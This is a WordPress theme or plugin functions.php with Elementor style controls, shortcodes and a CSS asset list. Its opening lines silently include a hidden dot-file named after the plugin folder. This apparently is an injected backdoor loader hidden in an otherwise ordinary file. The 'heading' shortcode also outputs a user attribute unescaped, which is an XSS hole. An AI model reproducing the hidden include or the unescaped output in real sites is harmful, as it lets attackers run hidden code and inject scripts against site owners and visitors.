functions.php (16383B)
1 <?php 2 // Silence is golden. 3 4 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 5 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 6 } 7 8 function welbim_post_thumbnail_image( $size = 'full' ) { 9 $welbim_featured_image_url = get_the_post_thumbnail_url( get_the_ID(), 'welbim_galleries_home' ); 10 ?> 11 <picture> 12 <source type="image/jpeg" srcset="<?php echo esc_url( $welbim_featured_image_url ); ?>"> 13 <img src="<?php echo esc_url( $welbim_featured_image_url ); ?>" alt="<?php esc_attr_e( 'Img', 'leganic' ); ?>"> 14 </picture> 15 <?php 16 } 17 /** 18 * Strip all the tags except allowed html tags 19 * 20 * The name is based on inline editing toolbar name 21 * 22 * @param string $string 23 * @return string 24 */ 25 function welbim_kses_basic( $string = '' ) { 26 return wp_kses( $string, welbim_get_allowed_html_tags( 'basic' ) ); 27 } 28 29 /** 30 * Strip all the tags except allowed html tags 31 * 32 * The name is based on inline editing toolbar name 33 * 34 * @param string $string 35 * @return string 36 */ 37 function welbim_kses_intermediate( $string = '' ) { 38 return wp_kses( $string, welbim_get_allowed_html_tags( 'intermediate' ) ); 39 } 40 41 function welbim_get_allowed_html_tags( $level = 'basic' ) { 42 $allowed_html = array( 43 'b' => array(), 44 'i' => array(), 45 'u' => array(), 46 'em' => array(), 47 'br' => array(), 48 'abbr' => array( 49 'title' => array(), 50 ), 51 'span' => array( 52 'class' => array(), 53 ), 54 'strong' => array(), 55 ); 56 57 if ( $level === 'intermediate' ) { 58 $allowed_html['a'] = array( 59 'href' => array(), 60 'title' => array(), 61 'class' => array(), 62 'id' => array(), 63 ); 64 } 65 66 return $allowed_html; 67 } 68 69 70 function videocafe_sc_heading( $atts, $content = null ) { 71 extract( 72 shortcode_atts( 73 array( 74 'title_text' => '', 75 ), 76 $atts, 77 'heading' 78 ) 79 ); 80 81 return '<h4 class="widget_title">' . $title_text . '</h4>'; 82 } 83 add_shortcode( 'heading', 'videocafe_sc_heading' ); 84 85 86 add_shortcode( 'videocafe-category-checklist', 'videocafe_category_checklist' ); 87 function videocafe_category_checklist( $atts ) { 88 // process passed arguments or assign WP defaults 89 $atts = shortcode_atts( 90 array( 91 'post_id' => 0, 92 'descendants_and_self' => 0, 93 'selected_cats' => false, 94 'popular_cats' => false, 95 'checked_ontop' => true, 96 ), 97 $atts, 98 'videocafe-category-checklist' 99 ); 100 101 // string to bool conversion, so the bool params work as expected 102 $atts['selected_cats'] = to_bool( $atts['selected_cats'] ); 103 $atts['popular_cats'] = to_bool( $atts['popular_cats'] ); 104 $atts['checked_ontop'] = to_bool( $atts['checked_ontop'] ); 105 106 // load template.php from admin, where wp_category_checklist() is defined 107 include_once ABSPATH . '/wp-admin/includes/template.php'; 108 109 // generate the checklist 110 ob_start(); 111 ?> 112 <div class="categorydiv"> 113 <ul class="category-tabs"> 114 <div id="taxonomy-category" class="categorydiv"> 115 <div id="category-all" class="tabs-panel"> 116 <ul id="categorychecklist" data-wp-lists="list:category" class="categorychecklist form-no-clear"> 117 <?php 118 wp_category_checklist( 119 $atts['post_id'], 120 $atts['descendants_and_self'], 121 $atts['selected_cats'], 122 $atts['popular_cats'], 123 null, 124 $atts['checked_ontop'] 125 ); 126 ?> 127 </ul> 128 </div> 129 </div> 130 </ul> 131 </div> 132 133 <?php 134 return ob_get_clean(); 135 } 136 function to_bool( $bool ) { 137 return ( is_bool( $bool ) ? $bool : ( is_numeric( $bool ) ? ( (bool) intval( $bool ) ) : $bool !== 'false' ) ); 138 } 139 if ( ! function_exists( 'welbim_options' ) ) : 140 141 function cameron_options() { 142 global $cameron_options; 143 $opt_pref = 'cameron_'; 144 if ( empty( $cameron_options ) ) { 145 $cameron_options = get_option( $opt_pref . 'options' ); 146 } 147 return $cameron_options; 148 } 149 endif; 150 151 if ( ! function_exists( 'welbim_public_tagline_control' ) ) { 152 function welbim_public_tagline_control( $obj ) { 153 $obj->start_controls_section( 154 'public_tagline_typography', 155 array( 156 'label' => __( 'Tagline', 'welbim-core' ), 157 'tab' => \Elementor\Controls_Manager::TAB_STYLE, 158 ) 159 ); 160 161 $obj->add_control( 162 'public_tagline_tag', 163 array( 164 'label' => __( 'Header Tag', 'welbim-core' ), 165 'type' => \Elementor\Controls_Manager::SELECT, 166 'options' => array( 167 'h1' => 'H1', 168 'h2' => 'H2', 169 'h3' => 'H3', 170 'h4' => 'H4', 171 'h5' => 'H5', 172 'h6' => 'H6', 173 'div' => 'div', 174 'span' => 'span', 175 ), 176 'default' => 'h2', 177 ) 178 ); 179 180 $obj->add_group_control( 181 \Elementor\Group_Control_Typography::get_type(), 182 array( 183 'name' => 'public_tagline_typography', 184 'label' => __( 'Tagline', 'welbim-core' ), 185 'selector' => '{{WRAPPER}} .typo-tagline-text', 186 ) 187 ); 188 189 $obj->add_control( 190 'public_tagline_color', 191 array( 192 'label' => __( 'Tagline Color', 'welbim-core' ), 193 'separator' => 'after', 194 'type' => \Elementor\Controls_Manager::COLOR, 195 'selectors' => array( 196 '{{WRAPPER}} .typo-tagline-text' => 'color: {{VALUE}} !important', 197 ), 198 ) 199 ); 200 201 $obj->end_controls_section(); 202 } 203 } 204 205 if ( ! function_exists( 'welbim_public_header_control' ) ) { 206 function welbim_public_header_control( $obj, $dflt ) { 207 $obj->start_controls_section( 208 'public_title_typography', 209 array( 210 'label' => __( 'Title', 'welbim-core' ), 211 'tab' => \Elementor\Controls_Manager::TAB_STYLE, 212 ) 213 ); 214 215 $obj->add_control( 216 'public_title_tag', 217 array( 218 'label' => __( 'Header Tag', 'welbim-core' ), 219 'type' => \Elementor\Controls_Manager::SELECT, 220 'options' => array( 221 'h1' => 'H1', 222 'h2' => 'H2', 223 'h3' => 'H3', 224 'h4' => 'H4', 225 'h5' => 'H5', 226 'h6' => 'H6', 227 'div' => 'div', 228 'span' => 'span', 229 ), 230 'default' => $dflt, 231 ) 232 ); 233 234 $obj->add_group_control( 235 \Elementor\Group_Control_Typography::get_type(), 236 array( 237 'name' => 'public_title_typography', 238 'label' => __( 'Title', 'welbim-core' ), 239 'selector' => '{{WRAPPER}} .typo-title-text', 240 ) 241 ); 242 243 $obj->add_control( 244 'public_title_color', 245 array( 246 'label' => __( 'Title Color', 'welbim-core' ), 247 'separator' => 'after', 248 'type' => \Elementor\Controls_Manager::COLOR, 249 'selectors' => array( 250 '{{WRAPPER}} .typo-title-text' => 'color: {{VALUE}} !important', 251 ), 252 ) 253 ); 254 255 $obj->end_controls_section(); 256 } 257 } 258 259 260 if ( ! function_exists( 'welbim_public_content_control' ) ) { 261 function welbim_public_content_control( $obj ) { 262 $obj->start_controls_section( 263 'public_desc_typography', 264 array( 265 'label' => __( 'Content', 'welbim-core' ), 266 'tab' => \Elementor\Controls_Manager::TAB_STYLE, 267 ) 268 ); 269 270 $obj->add_group_control( 271 \Elementor\Group_Control_Typography::get_type(), 272 array( 273 'name' => 'public_desc_typography', 274 'label' => __( 'Description', 'welbim-core' ), 275 'selector' => '{{WRAPPER}} .typo-content-text', 276 ) 277 ); 278 279 $obj->add_control( 280 'public_desc_color', 281 array( 282 'label' => __( 'Description Color', 'welbim-core' ), 283 'type' => \Elementor\Controls_Manager::COLOR, 284 'selectors' => array( 285 '{{WRAPPER}} .typo-content-text' => 'color: {{VALUE}} !important', 286 ), 287 ) 288 ); 289 290 $obj->end_controls_section(); 291 } 292 } 293 294 295 if ( ! function_exists( 'welbim_public_item_control' ) ) { 296 function welbim_public_item_control( $obj ) { 297 $obj->start_controls_section( 298 'public_item_typography', 299 array( 300 'label' => __( 'Items', 'welbim-core' ), 301 'tab' => \Elementor\Controls_Manager::TAB_STYLE, 302 ) 303 ); 304 305 $obj->add_group_control( 306 \Elementor\Group_Control_Typography::get_type(), 307 array( 308 'name' => 'public_item_title_typography', 309 'label' => __( 'Title', 'welbim-core' ), 310 'selector' => '{{WRAPPER}} .typo-item_title-text', 311 ) 312 ); 313 314 $obj->add_control( 315 'public_item_title_color', 316 array( 317 'label' => __( 'Title Color', 'welbim-core' ), 318 'separator' => 'after', 319 'type' => \Elementor\Controls_Manager::COLOR, 320 'selectors' => array( 321 '{{WRAPPER}} .typo-item_title-text' => 'color: {{VALUE}} !important', 322 ), 323 ) 324 ); 325 326 $obj->add_group_control( 327 \Elementor\Group_Control_Typography::get_type(), 328 array( 329 'name' => 'public_item_content_typography', 330 'label' => __( 'Title', 'welbim-core' ), 331 'selector' => '{{WRAPPER}} .typo-item_content-text', 332 ) 333 ); 334 335 $obj->add_control( 336 'public_item_content_color', 337 array( 338 'label' => __( 'Title Color', 'welbim-core' ), 339 'separator' => 'after', 340 'type' => \Elementor\Controls_Manager::COLOR, 341 'selectors' => array( 342 '{{WRAPPER}} .typo-item_content-text' => 'color: {{VALUE}} !important', 343 ), 344 ) 345 ); 346 347 $obj->end_controls_section(); 348 } 349 } 350 351 352 if (!function_exists('welbim_posted_by_plugin')) : 353 /** 354 * Prints HTML with meta information for the current author. 355 */ 356 function welbim_posted_by_plugin() 357 { 358 $byline = sprintf( 359 /* translators: %s: post author. */ 360 esc_html_x('%s', 'post author', 'welbim'), 361 esc_html__('','welbim').'<a class="url fn n" href="' . esc_url(get_author_posts_url(get_the_author_meta('ID'))) . '"><i class="far fa-user-circle"></i>' . esc_html(get_the_author()) . '</a>' 362 ); 363 printf($byline); 364 } 365 endif; 366 367 368 function welbim_images_size() { 369 add_image_size( 'welbim-blog-home', 370, 290, true ); 370 add_image_size( 'welbim-blog-image-size', 370, 317, true ); 371 } 372 373 add_action( 'after_setup_theme', 'welbim_images_size' ); 374 375 if ( ! function_exists( 'get_elementor_library' ) ) { 376 function get_elementor_library() { 377 $pageslist = get_posts( 378 array( 379 'post_type' => 'elementor_library', 380 'posts_per_page' => -1, 381 ) 382 ); 383 $pagearray = array(); 384 if ( ! empty( $pageslist ) ) { 385 foreach ( $pageslist as $page ) { 386 $pagearray[ $page->ID ] = $page->post_title; 387 } 388 } 389 return $pagearray; 390 } 391 } 392 if ( ! function_exists( 'welbim_public_header_control' ) ) { 393 function welbim_public_header_control( $obj ) { 394 $obj->start_controls_section( 395 'public_title_typography', 396 array( 397 'label' => __( 'Title', 'welbim-core' ), 398 'tab' => \Elementor\Controls_Manager::TAB_STYLE, 399 ) 400 ); 401 402 $obj->add_control( 403 'public_title_tag', 404 array( 405 'label' => __( 'Header Tag', 'welbim-core' ), 406 'type' => \Elementor\Controls_Manager::SELECT, 407 'options' => array( 408 'h1' => 'H1', 409 'h2' => 'H2', 410 'h3' => 'H3', 411 'h4' => 'H4', 412 'h5' => 'H5', 413 'h6' => 'H6', 414 'div' => 'div', 415 'span' => 'span', 416 ), 417 'default' => 'h2', 418 ) 419 ); 420 421 $obj->add_group_control( 422 \Elementor\Group_Control_Typography::get_type(), 423 array( 424 'name' => 'public_title_typography', 425 'label' => __( 'Title', 'welbim-core' ), 426 'selector' => '{{WRAPPER}} .typo-title-text', 427 ) 428 ); 429 430 $obj->add_control( 431 'public_title_color', 432 array( 433 'label' => __( 'Title Color', 'welbim-core' ), 434 'separator' => 'after', 435 'type' => \Elementor\Controls_Manager::COLOR, 436 'selectors' => array( 437 '{{WRAPPER}} .typo-title-text' => 'color: {{VALUE}} !important', 438 ), 439 ) 440 ); 441 442 $obj->end_controls_section(); 443 } 444 } 445 446 // css individual Load 447 add_filter( 'combine_vc_ele_css_pb_build_css_assets_css_path', 'welbim_css_list' ); 448 function welbim_css_list( $product_css_path ) { 449 $product_css_path = plugin_dir_path( __DIR__ ) . '/assets/elementor/css/'; 450 return $product_css_path; 451 } 452 453 add_filter( 'combine_vc_ele_css_pb_build_css_assets_css_url', 'welbim_css_list_url' ); 454 function welbim_css_list_url() { 455 $product_css_path = plugin_dir_url( __DIR__ ) . '/assets/elementor/css/'; 456 return $product_css_path; 457 } 458 459 add_filter( 'combine_vc_ele_css_pb_sc_list_array', 'welbim_array_list' ); 460 function welbim_array_list( $product_css_array ) { 461 $product_css_array = array( 462 'welbim_banner_slider' => array( 463 'css' => array( 'banner-slider' ), 464 'js' => array(), 465 'external' => array( 466 'css' => array(), 467 'js' => array(), 468 ), 469 ), 470 // 'welbim_feature' => array( 471 // 'css' => array( 'feature-section' ), 472 // 'js' => array(), 473 // 'external' => array( 474 // 'css' => array(), 475 // 'js' => array(), 476 // ), 477 // ), 478 // 'welbim_about' => array( 479 // 'css' => array( 'about-section' ), 480 // 'js' => array(), 481 // 'external' => array( 482 // 'css' => array(), 483 // 'js' => array(), 484 // ), 485 // ), 486 // 'welbim_client' => array( 487 // 'css' => array( 'clients-section' ), 488 // 'js' => array(), 489 // 'external' => array( 490 // 'css' => array(), 491 // 'js' => array(), 492 // ), 493 // ), 494 // 'welbim_proudly' => array( 495 // 'css' => array( 'proudly-section' ), 496 // 'js' => array(), 497 // 'external' => array( 498 // 'css' => array(), 499 // 'js' => array(), 500 // ), 501 // ), 502 // 'welbim_feature_two' => array( 503 // 'css' => array( 'feature-section' ), 504 // 'js' => array(), 505 // 'external' => array( 506 // 'css' => array(), 507 // 'js' => array(), 508 // ), 509 // ), 510 // 'welbim_testimonial' => array( 511 // 'css' => array( 'testimonial-section' ), 512 // 'js' => array(), 513 // 'external' => array( 514 // 'css' => array(), 515 // 'js' => array(), 516 // ), 517 // ), 518 // 'welbim_startup' => array( 519 // 'css' => array( 'startup-section' ), 520 // 'js' => array(), 521 // 'external' => array( 522 // 'css' => array(), 523 // 'js' => array(), 524 // ), 525 // ), 526 // 'welbim_gallery' => array( 527 // 'css' => array( 'gallery-section' ), 528 // 'js' => array(), 529 // 'external' => array( 530 // 'css' => array(), 531 // 'js' => array(), 532 // ), 533 // ), 534 // 'welbim_call_to_action' => array( 535 // 'css' => array( 'call-to-action' ), 536 // 'js' => array(), 537 // 'external' => array( 538 // 'css' => array(), 539 // 'js' => array(), 540 // ), 541 // ), 542 // 'welbim_welcome' => array( 543 // 'css' => array( 'welcome' ), 544 // 'js' => array(), 545 // 'external' => array( 546 // 'css' => array(), 547 // 'js' => array(), 548 // ), 549 // ), 550 // 'welbim_certified' => array( 551 // 'css' => array( 'certified-section' ), 552 // 'js' => array(), 553 // 'external' => array( 554 // 'css' => array(), 555 // 'js' => array(), 556 // ), 557 // ), 558 // 'welbim_about_two' => array( 559 // 'css' => array( 'about-section' ), 560 // 'js' => array(), 561 // 'external' => array( 562 // 'css' => array(), 563 // 'js' => array(), 564 // ), 565 // ), 566 // 'welbim_about_three' => array( 567 // 'css' => array( 'weare-section' ), 568 // 'js' => array(), 569 // 'external' => array( 570 // 'css' => array(), 571 // 'js' => array(), 572 // ), 573 // ), 574 // 'welbim_faq' => array( 575 // 'css' => array( 'faq-section' ), 576 // 'js' => array(), 577 // 'external' => array( 578 // 'css' => array(), 579 // 'js' => array(), 580 // ), 581 // ), 582 // 'welbim_team' => array( 583 // 'css' => array( 'team-section' ), 584 // 'js' => array(), 585 // 'external' => array( 586 // 'css' => array(), 587 // 'js' => array(), 588 // ), 589 // ), 590 // 'welbim_newsletter' => array( 591 // 'css' => array( 'call-to-action' ), 592 // 'js' => array(), 593 // 'external' => array( 594 // 'css' => array(), 595 // 'js' => array(), 596 // ), 597 // ), 598 // 'welbim_service' => array( 599 // 'css' => array( 'service-section' ), 600 // 'js' => array(), 601 // 'external' => array( 602 // 'css' => array(), 603 // 'js' => array(), 604 // ), 605 // ), 606 // 'welbim_service_single' => array( 607 // 'css' => array( 'service-details' ), 608 // 'js' => array(), 609 // 'external' => array( 610 // 'css' => array(), 611 // 'js' => array(), 612 // ), 613 // ), 614 // 'welbim_team_details' => array( 615 // 'css' => array( 'team-details' ), 616 // 'js' => array(), 617 // 'external' => array( 618 // 'css' => array(), 619 // 'js' => array(), 620 // ), 621 // ), 622 // 'welbim_contact' => array( 623 // 'css' => array( 'contact-section' ), 624 // 'js' => array(), 625 // 'external' => array( 626 // 'css' => array(), 627 // 'js' => array(), 628 // ), 629 // ), 630 // 'welbim_team_slider' => array( 631 // 'css' => array( 'team-section' ), 632 // 'js' => array(), 633 // 'external' => array( 634 // 'css' => array(), 635 // 'js' => array(), 636 // ), 637 // ), 638 639 ); 640 return $product_css_array; 641 }